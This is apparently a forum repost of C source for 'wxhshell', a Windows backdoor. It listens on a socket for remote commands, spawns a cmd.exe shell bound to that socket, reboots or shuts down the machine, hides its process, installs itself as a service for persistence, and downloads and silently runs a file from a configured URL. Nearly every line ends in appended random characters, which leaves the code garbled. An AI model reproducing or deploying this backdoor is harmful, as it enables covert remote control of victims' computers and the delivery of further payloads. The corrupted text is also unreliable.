  // 帮助 T%F'4_~No  
  case '?': { i=rW{0c%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kS>j!U(%d  
    break; Z~<V>b  
  } :mL.Y em*'  
  // 安装 IAQ=d4V&  
  case 'i': { iuRXeiG8  
    if(Install()) UlR7_   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DzMkeX  
    else Zf! 7pM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H>?@nYP  
    break; 5sRNqTIr  
    } ?/D#ql7  
  // 卸载 ,KWeW^z'7  
  case 'r': { [;}c@  
    if(Uninstall()) ?Eed#pb_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?IWS  
    else |tkmO:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,;g:qe3D$  
    break; l\)Q3.w  
    } LBzpaLd  
  // 显示 wxhshell 所在路径 X^`ld&^*({  
  case 'p': { K7U<~f$OiN  
    char svExeFile[MAX_PATH]; qW9|&GuZ$  
    strcpy(svExeFile,"\n\r"); `1dr$U  
      strcat(svExeFile,ExeFile); n=~?BxB  
        send(wsh,svExeFile,strlen(svExeFile),0); :Li)]qN.I  
    break; @%K 8 oYK  
    } m`|+_{4[n  
  // 重启 j56Y,Tm  
  case 'b': { Wl{Vz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uPpP")  
    if(Boot(REBOOT)) 6+>rf{5P7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ft5Bk'ZJ  
    else { 9;jfg|x1[  
    closesocket(wsh); Hmz[pTQ|87  
    ExitThread(0); Z|.z~53;  
    } 1*5n}cU~  
    break; fw5AZvE6$  
    } s<{c?4T  
  // 关机 "D+QT+sD  
  case 'd': { 5|Uub ,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iw%DQ }$  
    if(Boot(SHUTDOWN)) yTk9+>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -kkXyO8js  
    else { |( KM 8  
    closesocket(wsh); B}p/ ,4x6  
    ExitThread(0); Gl+}]Vn[n  
    } E yuc~[  
    break; ,QDq+93  
    } }-!$KR]:s  
  // 获取shell 0x84 Ah)  
  case 's': { 8164SWB  
    CmdShell(wsh);  /YHeO  
    closesocket(wsh); j_Fr3BWS  
    ExitThread(0); XHV+Y+VG  
    break; M9MEQK  
  } e.Ii@<  
  // 退出 ZyTah\yPM  
  case 'x': { IMBqy-q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RGcT  
    CloseIt(wsh); 8`+X6iZOQ  
    break; SngV<J>zR  
    } 0\/7[nwS  
  // 离开 /H)l\m +  
  case 'q': { 3' ^ON  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u931^~Ci  
    closesocket(wsh); i''dY!2  
    WSACleanup(); 0]T ;{  
    exit(1); 1oC/W?l^  
    break; 0-QkRr_ I  
        } uzsR*x%s-  
  } s;A]GJ  
  } q.*qZ\;K  
SU*P@?:/}  
  // 提示信息 nC z[#t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]M_)f  
} Vi]D](^!  
  } RD~QNj9,T  
; qvZ*  
  return; b{(:'.  
} *rWE.4=&  
Z:'2pu U+?  
// shell模块句柄  /8.;  
int CmdShell(SOCKET sock) ;$nK ^  
{ m^`X|xK-  
STARTUPINFO si; b*,R9  
ZeroMemory(&si,sizeof(si)); Ros5]5=dP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :yv!  x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JjM^\LwKkL  
PROCESS_INFORMATION ProcessInfo; ! $n^Ze2 !  
char cmdline[]="cmd"; h~dM*yo;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -WEiY  
  return 0; 1wwhTek  
} }L@YLnc%  
E_$ ST3  
// 自身启动模式 BWd?a6nU}  
int StartFromService(void) ImgKqp0Z  
{ KExfa4W 3{  
typedef struct A1i-QG/6  
{ z8A`BVqI  
  DWORD ExitStatus; EQg 6*V  
  DWORD PebBaseAddress; v%_sCg  
  DWORD AffinityMask; `OduBUI]]  
  DWORD BasePriority; Y5K!DMK Y  
  ULONG UniqueProcessId; ')_jK',1  
  ULONG InheritedFromUniqueProcessId; AX6e}-S1n  
}   PROCESS_BASIC_INFORMATION; JG4Tb{F=  
T `N(=T^*  
PROCNTQSIP NtQueryInformationProcess; tr):n@  
c sYICLj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rd2*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _oR6^#5#  
 =#8J9  
  HANDLE             hProcess; NAL%qQ  
  PROCESS_BASIC_INFORMATION pbi; 5-n N8qs  
@w@rW }i0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wjpkh~ qo  
  if(NULL == hInst ) return 0; 7GKeqv  
IWTD>c).  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DT_012 z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x!S8'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 10*U2FY)]  
nQ8EV>j2  
  if (!NtQueryInformationProcess) return 0; =_=jXWOQv  
H3MT.Cpd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1w?X~VZAX  
  if(!hProcess) return 0; A*W QdY  
IhUuL0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |IZG `3  
 c,x2   
  CloseHandle(hProcess); ;u , 5 2  
n1$p esr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2_UH,n  
if(hProcess==NULL) return 0; 5JQq?e)n  
cpf8f i  
HMODULE hMod; ~ 5`Ngpp  
char procName[255]; 3"%:S_[  
unsigned long cbNeeded; 60-LpGhvy  
T< P4+#JK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QD7>S(p  
DAJh9I  
  CloseHandle(hProcess); 'M YqCfIK  
_Tev503  
if(strstr(procName,"services")) return 1; // 以服务启动 }K0.*+M  
"x&H*"  
  return 0; // 注册表启动 ](^VEm}w;  
} MwXgaSV  
yv,90+k  
// 主模块 ,X+071.(  
int StartWxhshell(LPSTR lpCmdLine) q18dSu  
{ L[ rJ7:  
  SOCKET wsl; lkBab$S)  
BOOL val=TRUE; :y 0'[LV  
  int port=0; iQ~cG[6  
  struct sockaddr_in door; DtyT8kr  
h1J-AfV  
  if(wscfg.ws_autoins) Install(); .3oFSc`q  
LTG/gif[u  
port=atoi(lpCmdLine); & 9IMZAo  
BYP,}yzA  
if(port<=0) port=wscfg.ws_port; !dGy"-i$h  
1 BVivEG  
  WSADATA data; f H}`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m&b!\"0  
.b5B7 x}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d7P| x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n8J';F =P  
  door.sin_family = AF_INET; [96|xe\s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7?b'"X"  
  door.sin_port = htons(port); K@%.T#  
6<FJ`l]U9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E9QNx6 2  
closesocket(wsl); 7vgz=- MZ#  
return 1; X2Y-TE T  
} 2= u5N[*  
P !6r`d  
  if(listen(wsl,2) == INVALID_SOCKET) { h?fv:^vSi  
closesocket(wsl); i5V ly'Q  
return 1; Pqx=j_st  
} 8%I4jL<  
  Wxhshell(wsl); 7S),:Uy[\  
  WSACleanup(); RVX-3FvP  
;w[|IRa  
return 0; T3Qa[>+\  
B3e{'14  
} r!#NFek}  
Qq^>7OU>Co  
// 以NT服务方式启动 A.*}<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TE^BfAw@  
{ Uo5l =\  
DWORD   status = 0; b'uH4[zX%  
  DWORD   specificError = 0xfffffff; `[/BG)4  
EVrOu""  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =@&]PYv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,]1K^UeZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !dStl:B  
  serviceStatus.dwWin32ExitCode     = 0; V1;n5YL  
  serviceStatus.dwServiceSpecificExitCode = 0; cqi: Rj  
  serviceStatus.dwCheckPoint       = 0; G)iV  
  serviceStatus.dwWaitHint       = 0; "VB-=. A  
:8jHN_u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _K8ob8)m  
  if (hServiceStatusHandle==0) return; {}{|trr-E  
oF)+f4  
status = GetLastError(); zr2%|YF  
  if (status!=NO_ERROR) a*KB'u6&  
{ cPkN)+K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dy#dug6j  
    serviceStatus.dwCheckPoint       = 0; Z_cTuu0'  
    serviceStatus.dwWaitHint       = 0; m?>$!B4jFB  
    serviceStatus.dwWin32ExitCode     = status; qP*$wKY,  
    serviceStatus.dwServiceSpecificExitCode = specificError; :1s6h%evrT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k g0Z(T:&8  
    return; 'l!tQD!  
  } 7[ *,t  
\P+lb-~\"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hq< Vk.Nk  
  serviceStatus.dwCheckPoint       = 0; 2Cj?k.Zk  
  serviceStatus.dwWaitHint       = 0; 6*{N{]`WZ)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }"2 0:  
} O83vPK 3  
^1Y0JQ  
// 处理NT服务事件,比如:启动、停止 LH3PgGi,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Z@- q  
{ e:6R+8s2  
switch(fdwControl) C$-IDBXK  
{ 1j9.Q;9  
case SERVICE_CONTROL_STOP: a&M{y  
  serviceStatus.dwWin32ExitCode = 0; Ik(TII_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X+ h|sy  
  serviceStatus.dwCheckPoint   = 0; #=q)>+\  
  serviceStatus.dwWaitHint     = 0; "#qyX[\  
  { Ks{^R`O au  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M~zdcVTbH  
  } 4JT9EKo  
  return; K.dgQ-vn  
case SERVICE_CONTROL_PAUSE: zl=RK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pEw &i  
  break; RiIJ#:6+^I  
case SERVICE_CONTROL_CONTINUE: Ck/4h Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k#w[G L|T  
  break; 3;>|*(cO  
case SERVICE_CONTROL_INTERROGATE: :(!il?  
  break; AJI,>I,}}  
}; 9=&LMjTQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZBB^?FF  
} ~NMal]Fwx  
C3:4V2<_  
// 标准应用程序主函数 + 79?}|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k]] (I<2  
{ F]q pDv  
&zynfj#o  
// 获取操作系统版本 U(3{6^>Gc  
OsIsNt=GetOsVer(); XA-DJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;SEH|_/  
(sq4  
  // 从命令行安装 ??CtmH  
  if(strpbrk(lpCmdLine,"iI")) Install(); H"N o{|^<  
0~<d<a -@  
  // 下载执行文件 w q% 4'(  
if(wscfg.ws_downexe) { >u4%s7 v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CVyqr_n65/  
  WinExec(wscfg.ws_filenam,SW_HIDE); +>@<'YI<  
} hp@g iu7  
NgaX&m`  
if(!OsIsNt) { H B_si  
// 如果时win9x,隐藏进程并且设置为注册表启动 f|cd_?|  
HideProc(); >c|u |^3zt  
StartWxhshell(lpCmdLine); %J!+f-:=  
} f.!)O@HzH  
else Rq%g5lK  
  if(StartFromService()) ?PO~$dUc]  
  // 以服务方式启动 fq~ <^B  
  StartServiceCtrlDispatcher(DispatchTable); k^}8=,j}  
else XnHcU=~q  
  // 普通方式启动 \`-/\N  
  StartWxhshell(lpCmdLine); >sv|  
-%I]Q9  
return 0; }:5AB93(  
}
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只看该作者 1 发表于: 2006-10-10
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